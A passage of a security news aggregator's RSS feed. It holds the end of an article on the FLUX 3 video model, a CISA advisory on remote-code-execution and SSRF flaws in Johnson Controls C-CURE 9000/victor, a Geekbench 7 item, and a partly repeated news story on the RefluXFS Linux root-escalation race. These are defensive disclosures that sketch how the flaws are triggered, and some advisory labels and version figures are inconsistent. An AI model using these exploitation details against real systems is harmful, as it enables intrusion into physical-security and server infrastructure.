a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.
The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

C-CURE 9000 and victor]]></description>
<link>https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.</strong></p>
<p>The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:</p>
<ul>
<li>C-CURE 9000 and victor &lt;=v2.90_v3.0 </li>
<li>victor Web &lt;=v7.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Johnson Controls</td>
<td>Johnson Controls C-CURE 9000 and Victor application server</td>
<td>Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21655</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls C-CURE 9000 and victor: &lt;=v2.90_v3.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).</p>
<p><strong>Vendor fix</strong><br>Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21653</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;v7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34496</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;=v7.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Harrison Neal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Geekbench 7 benchmark adds AI workloads, better reflects 2026 computer use cases]]></title>
<description><![CDATA[Primate Labs released Geekbench 7 for macOS, iOS, Android, Windows, and Linux, redesigning its cross-platform benchmark to better reflect how current software uses CPUs and GPUs.Geekbench 7The update changes Geekbench's multi-core methodology and adds workloads for artificial intelligence, media ...]]></description>
<link>https://tsecurity.de/de/3689822/ios-mac-os/new-geekbench-7-benchmark-adds-ai-workloads-better-reflects-2026-computer-use-cases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689822/ios-mac-os/new-geekbench-7-benchmark-adds-ai-workloads-better-reflects-2026-computer-use-cases/</guid>
<pubDate>Thu, 23 Jul 2026 19:15:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Primate Labs released Geekbench 7 for <a href="https://appleinsider.com/inside/macos" title="macOS" data-kpt="1">macOS</a>, iOS, Android, Windows, and Linux, redesigning its cross-platform benchmark to better reflect how current software uses CPUs and GPUs.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68338-144040-Geekbench-7-Banner-xl.jpg" alt="Geekbench 7 app icon featuring stylized bar chart above black glasses on a rounded blue square background, set against a dark blue textured backdrop" height="738"><span>Geekbench 7</span></div><br>The update changes Geekbench's multi-core methodology and adds workloads for artificial intelligence, media processing, gaming, and content creation. Primate Labs says the revisions account for increasingly demanding computing tasks and the larger data sets handled by modern devices.<br><br>Geekbench 7 remains free for personal use.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/new-geekbench-7-benchmark-adds-ai-workloads-better-reflects-2026-computer-use-cases?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245040?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:59:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:58:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



